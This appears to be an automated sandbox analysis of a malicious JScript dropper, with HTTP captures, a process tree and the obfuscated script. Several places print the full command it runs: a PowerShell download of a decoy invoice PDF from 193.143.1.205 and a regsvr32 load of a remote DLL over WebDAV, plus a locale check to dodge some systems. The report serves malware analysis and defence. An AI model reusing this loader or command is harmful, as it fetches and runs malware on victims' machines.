Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:50:35.848994970 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:50:36.654270887 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:50:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:50:36.654285908 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:50:36.654299021 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 22:50:36.654402018 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 22:50:36.654413939 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 22:50:36.654424906 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 22:50:36.654481888 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 22:50:36.654495001 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 22:50:36.654506922 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 22:50:36.654520035 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 22:50:36.659220934 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49788	193.143.1.205	8888	8056	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:50:39.117515087 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:50:39.914927006 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:50:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:50:31
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16529230753138817875.js"
Imagebase:	0x7ff76e110000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:50:31
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll
Imagebase:	0x7ff76c6a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:50:31
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:50:31
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:50:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:50:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff76c6a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:50:37
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ed6a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:50:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:50:39
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:50:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2188 --field-trial-handle=1528,i,14731378578711747176,15541432942492927159,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function nnvyhtpjj() {	nnvyhtpjj() ➔ undefined
1	jacmzqp = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xesdy = this[ubidx + ehgqi + clemjds + dmljj + ougqslcw + devgrcv + ltmdmsfgn + kpncyt] ( this[mxeiy + vigdemrnl + zhuowvq + clemjds + gnjvf + ubidx + kpncyt][crmjns + clemjds + ougqslcw + ehgqi + kpncyt + ougqslcw + bohqoe + xutfn + togkhnhfs + ougqslcw + zhuowvq + kpncyt] ( mxeiy + vigdemrnl + zhuowvq + clemjds + gnjvf + ubidx + kpncyt + wazqzz + vigdemrnl + zxcat + ougqslcw + yumajye + yumajye ) [chxvlgovf + ougqslcw + pvyvsttl + chxvlgovf + ougqslcw + ehgqi + uiyrvkhi] ( fxlgik + ltvmk + aepphc + kcsjwh + jdcvqiiiq + crmjns + etzpfc + chxvlgovf + chxvlgovf + aepphc + vjith + zpxznsab + jdcvqiiiq + etzpfc + vigdemrnl + aepphc + chxvlgovf + xzbpli + crmjns + kazeuhl + ltmdmsfgn + kpncyt + clemjds + kazeuhl + yumajye + zhyapahdo + hiigikcw + ehgqi + ltmdmsfgn + ougqslcw + yumajye + xzbpli + devgrcv + ltmdmsfgn + kpncyt + ougqslcw + clemjds + ltmdmsfgn + ehgqi + kpncyt + gnjvf + kazeuhl + ltmdmsfgn + ehgqi + yumajye + xzbpli + qvrpo + kazeuhl + zhuowvq + ehgqi + yumajye + ougqslcw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rpkznpfln = 0 ; rpkznpfln < jacmzqp[yumajye + ougqslcw + ltmdmsfgn + pvyvsttl + kpncyt + zxcat] ; ++ rpkznpfln )
4	{
5	if ( xesdy == jacmzqp[rpkznpfln] )
6	{
7	xesdy = true;
8	break ;
9	}
10	}
11	if ( xesdy !== true )
12	this[mxeiy + vigdemrnl + zhuowvq + clemjds + gnjvf + ubidx + kpncyt][simbok + jvrnxg + gnjvf + kpncyt] ( );
13	this[mxeiy + vigdemrnl + zhuowvq + clemjds + gnjvf + ubidx + kpncyt][crmjns + clemjds + ougqslcw + ehgqi + kpncyt + ougqslcw + bohqoe + xutfn + togkhnhfs + ougqslcw + zhuowvq + kpncyt] ( mxeiy + vigdemrnl + zhuowvq + clemjds + gnjvf + ubidx + kpncyt + wazqzz + vigdemrnl + zxcat + ougqslcw + yumajye + yumajye ) [clemjds + jvrnxg + ltmdmsfgn] ( zhuowvq + eoaolum + uiyrvkhi + zhyapahdo + araszr + zhuowvq + zhyapahdo + ubidx + kazeuhl + uausdbcvd + ougqslcw + clemjds + dmljj + zxcat + ougqslcw + yumajye + yumajye + wazqzz + ougqslcw + diuclav + ougqslcw + zhyapahdo + orltlf + crmjns + kazeuhl + eoaolum + eoaolum + ehgqi + ltmdmsfgn + uiyrvkhi + zhyapahdo + ogilybj + devgrcv + ltmdmsfgn + qfumb + kazeuhl + oocofnu + ougqslcw + orltlf + mxeiy + ougqslcw + xutfn + chxvlgovf + ougqslcw + zekdppkw + jvrnxg + ougqslcw + dmljj + kpncyt + zhyapahdo + orltlf + bohqoe + jvrnxg + kpncyt + glptrnred + gnjvf + yumajye + ougqslcw + zhyapahdo + zwqhlsrlu + kpncyt + ougqslcw + eoaolum + ubidx + zwqhlsrlu + xzbpli + gnjvf + ltmdmsfgn + qfumb + kazeuhl + gnjvf + zhuowvq + ougqslcw + wazqzz + ubidx + uiyrvkhi + emsohdx + zhyapahdo + zxcat + kpncyt + kpncyt + ubidx + uckdzuki + araszr + araszr + npzoq + cnsaqor + iarrpxq + wazqzz + npzoq + hefyjvzh + iarrpxq + wazqzz + npzoq + wazqzz + qtbcneih + mpski + cwhxv + araszr + gnjvf + ltmdmsfgn + qfumb + kazeuhl + gnjvf + zhuowvq + ougqslcw + wazqzz + ubidx + zxcat + ubidx + ogilybj + hsrgrhwh + hsrgrhwh + dmljj + kpncyt + ehgqi + clemjds + kpncyt + zhyapahdo + zwqhlsrlu + kpncyt + ougqslcw + eoaolum + ubidx + zwqhlsrlu + xzbpli + gnjvf + ltmdmsfgn + qfumb + kazeuhl + gnjvf + zhuowvq + ougqslcw + wazqzz + ubidx + uiyrvkhi + emsohdx + hsrgrhwh + hsrgrhwh + zhuowvq + eoaolum + uiyrvkhi + zhyapahdo + araszr + zhuowvq + zhyapahdo + ltmdmsfgn + ougqslcw + kpncyt + zhyapahdo + jvrnxg + dmljj + ougqslcw + zhyapahdo + xzbpli + xzbpli + npzoq + cnsaqor + iarrpxq + wazqzz + npzoq + hefyjvzh + iarrpxq + wazqzz + npzoq + wazqzz + qtbcneih + mpski + cwhxv + oqzngw + kbrrg + kbrrg + kbrrg + kbrrg + xzbpli + uiyrvkhi + ehgqi + qfumb + uausdbcvd + uausdbcvd + uausdbcvd + clemjds + kazeuhl + kazeuhl + kpncyt + xzbpli + hsrgrhwh + hsrgrhwh + zhuowvq + eoaolum + uiyrvkhi + zhyapahdo + araszr + zhuowvq + zhyapahdo + clemjds + ougqslcw + pvyvsttl + dmljj + qfumb + clemjds + iarrpxq + qtbcneih + zhyapahdo + araszr + dmljj + zhyapahdo + xzbpli + xzbpli + npzoq + cnsaqor + iarrpxq + wazqzz + npzoq + hefyjvzh + iarrpxq + wazqzz + npzoq + wazqzz + qtbcneih + mpski + cwhxv + oqzngw + kbrrg + kbrrg + kbrrg + kbrrg + xzbpli + uiyrvkhi + ehgqi + qfumb + uausdbcvd + uausdbcvd + uausdbcvd + clemjds + kazeuhl + kazeuhl + kpncyt + xzbpli + iarrpxq + cnsaqor + gjawx + kbrrg + npzoq + iarrpxq + kbrrg + hefyjvzh + zqstwgd + qtbcneih + iarrpxq + kbrrg + qtbcneih + gjawx + wazqzz + uiyrvkhi + yumajye + yumajye, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll",0,false) ➔ 0
14	}
15	jvrnxg = "Q";
16	jvrnxg = "E";
17	jvrnxg = "U";
18	jvrnxg = "z";
19	jvrnxg = "E";
20	jvrnxg = "G";
21	jvrnxg = "O";
22	jvrnxg = "K";
23	jvrnxg = "z";
24	jvrnxg = "u";
25	araszr = "P";
26	araszr = "w";
27	araszr = "t";
28	araszr = "R";
29	araszr = "M";
30	araszr = "y";
31	araszr = "d";
32	araszr = "l";
33	araszr = "k";
34	araszr = "v";
35	araszr = "P";
36	araszr = "K";
37	araszr = "B";
38	araszr = "w";
39	araszr = "e";
40	araszr = "M";
41	araszr = "D";
42	araszr = "X";
43	araszr = "R";
44	araszr = "G";
45	araszr = "D";
46	araszr = "M";
47	araszr = "Q";
48	araszr = "X";
49	araszr = "a";
50	araszr = "f";
51	araszr = "b";
52	araszr = "L";
53	araszr = "y";
54	araszr = "v";
55	araszr = "t";
56	araszr = "W";
57	araszr = "U";
58	araszr = "d";
59	araszr = "G";
60	araszr = "z";
61	araszr = "q";
62	araszr = "a";
63	araszr = "m";
64	araszr = "P";
65	araszr = "e";
66	araszr = "t";
67	araszr = "O";
68	araszr = "x";
69	araszr = "/";
70	gjawx = "h";
71	gjawx = "Y";
72	gjawx = "X";
73	gjawx = "W";
74	gjawx = "p";
75	gjawx = "i";
76	gjawx = "L";
77	gjawx = "A";
78	gjawx = "a";
79	gjawx = "t";
80	gjawx = "e";
81	gjawx = "S";
82	gjawx = "G";
83	gjawx = "w";
84	gjawx = "S";
85	gjawx = "W";
86	gjawx = "X";
87	gjawx = "g";
88	gjawx = "f";
89	gjawx = "t";
90	gjawx = "W";
91	gjawx = "E";
92	gjawx = "Q";
93	gjawx = "i";
94	gjawx = "e";
95	gjawx = "R";
96	gjawx = "7";
97	diuclav = "a";
98	diuclav = "P";
99	diuclav = "e";
100	diuclav = "b";
101	diuclav = "L";
102	diuclav = "V";
103	diuclav = "Z";
104	diuclav = "p";
105	diuclav = "W";
106	diuclav = "j";
107	diuclav = "G";
108	diuclav = "N";
109	diuclav = "v";
110	diuclav = "l";
111	diuclav = "P";
112	diuclav = "P";
113	diuclav = "C";
114	diuclav = "h";
115	diuclav = "j";
116	diuclav = "Y";
117	diuclav = "n";
118	diuclav = "P";
119	diuclav = "n";
120	diuclav = "Q";
121	diuclav = "D";
122	diuclav = "S";
123	diuclav = "N";
124	diuclav = "a";
125	diuclav = "s";
126	diuclav = "v";
127	diuclav = "V";
128	diuclav = "k";
129	diuclav = "o";
130	diuclav = "j";
131	diuclav = "o";
132	diuclav = "x";
133	ubidx = "Z";
134	ubidx = "w";
135	ubidx = "b";
136	ubidx = "X";
137	ubidx = "k";
138	ubidx = "b";
139	ubidx = "r";
140	ubidx = "p";
141	vigdemrnl = "w";
142	vigdemrnl = "w";
143	vigdemrnl = "g";
144	vigdemrnl = "Q";
145	vigdemrnl = "J";
146	vigdemrnl = "l";
147	vigdemrnl = "N";
148	vigdemrnl = "T";
149	vigdemrnl = "X";
150	vigdemrnl = "v";
151	vigdemrnl = "b";
152	vigdemrnl = "q";
153	vigdemrnl = "r";
154	vigdemrnl = "N";
155	vigdemrnl = "o";
156	vigdemrnl = "I";
157	vigdemrnl = "N";
158	vigdemrnl = "O";
159	vigdemrnl = "s";
160	vigdemrnl = "B";
161	vigdemrnl = "K";
162	vigdemrnl = "U";
163	vigdemrnl = "D";
164	vigdemrnl = "N";
165	vigdemrnl = "p";
166	vigdemrnl = "j";
167	vigdemrnl = "u";
168	vigdemrnl = "Z";
169	vigdemrnl = "C";
170	vigdemrnl = "S";
171	vigdemrnl = "H";
172	vigdemrnl = "o";
173	vigdemrnl = "s";
174	vigdemrnl = "R";
175	vigdemrnl = "z";
176	vigdemrnl = "m";
177	vigdemrnl = "S";
178	zwqhlsrlu = "s";
179	zwqhlsrlu = "J";
180	zwqhlsrlu = "A";
181	zwqhlsrlu = "P";
182	zwqhlsrlu = "t";
183	zwqhlsrlu = "W";
184	zwqhlsrlu = "G";
185	zwqhlsrlu = "D";
186	zwqhlsrlu = "d";
187	zwqhlsrlu = "o";
188	zwqhlsrlu = "H";
189	zwqhlsrlu = "N";
190	zwqhlsrlu = "L";
191	zwqhlsrlu = "k";
192	zwqhlsrlu = "Q";
193	zwqhlsrlu = "n";
194	zwqhlsrlu = "P";
195	zwqhlsrlu = "O";
196	zwqhlsrlu = "o";
197	zwqhlsrlu = "S";
198	zwqhlsrlu = "D";
199	zwqhlsrlu = "m";
200	zwqhlsrlu = "G";
201	zwqhlsrlu = "B";
202	zwqhlsrlu = "S";
203	zwqhlsrlu = "v";
204	zwqhlsrlu = "R";
205	zwqhlsrlu = "E";
206	zwqhlsrlu = "O";
207	zwqhlsrlu = "S";
208	zwqhlsrlu = "U";
209	zwqhlsrlu = "S";
210	zwqhlsrlu = "N";
211	zwqhlsrlu = "L";
212	zwqhlsrlu = "A";
213	zwqhlsrlu = "v";
214	zwqhlsrlu = "z";
215	zwqhlsrlu = "m";
216	zwqhlsrlu = "S";
217	zwqhlsrlu = "r";
218	zwqhlsrlu = "%";
219	clemjds = "t";
220	clemjds = "Q";
221	clemjds = "o";
222	clemjds = "K";
223	clemjds = "S";
224	clemjds = "R";
225	clemjds = "X";
226	clemjds = "n";
227	clemjds = "P";
228	clemjds = "J";
229	clemjds = "W";
230	clemjds = "U";
231	clemjds = "E";
232	clemjds = "m";
233	clemjds = "c";
234	clemjds = "O";
235	clemjds = "s";
236	clemjds = "z";
237	clemjds = "R";
238	clemjds = "B";
239	clemjds = "z";
240	clemjds = "d";
241	clemjds = "H";
242	clemjds = "R";
243	clemjds = "y";
244	clemjds = "J";
245	clemjds = "m";
246	clemjds = "Q";
247	clemjds = "X";
248	clemjds = "b";
249	clemjds = "B";
250	clemjds = "I";
251	clemjds = "r";
252	qtbcneih = "d";
253	qtbcneih = "v";
254	qtbcneih = "U";
255	qtbcneih = "X";
256	qtbcneih = "s";
257	qtbcneih = "B";
258	qtbcneih = "F";
259	qtbcneih = "z";
260	qtbcneih = "h";
261	qtbcneih = "2";
262	npzoq = "c";
263	npzoq = "u";
264	npzoq = "c";
265	npzoq = "c";
266	npzoq = "1";
267	eoaolum = "V";
268	eoaolum = "r";
269	eoaolum = "l";
270	eoaolum = "A";
271	eoaolum = "b";
272	eoaolum = "F";
273	eoaolum = "H";
274	eoaolum = "Q";
275	eoaolum = "e";
276	eoaolum = "m";
277	mxeiy = "r";
278	mxeiy = "x";
279	mxeiy = "L";
280	mxeiy = "Q";
281	mxeiy = "O";
282	mxeiy = "n";
283	mxeiy = "Z";
284	mxeiy = "d";
285	mxeiy = "L";
286	mxeiy = "O";
287	mxeiy = "e";
288	mxeiy = "G";
289	mxeiy = "m";
290	mxeiy = "i";
291	mxeiy = "M";
292	mxeiy = "u";
293	mxeiy = "l";
294	mxeiy = "j";
295	mxeiy = "x";
296	mxeiy = "W";
297	zxcat = "y";
298	zxcat = "C";
299	zxcat = "c";
300	zxcat = "D";
301	zxcat = "p";
302	zxcat = "b";
303	zxcat = "W";
304	zxcat = "H";
305	zxcat = "v";
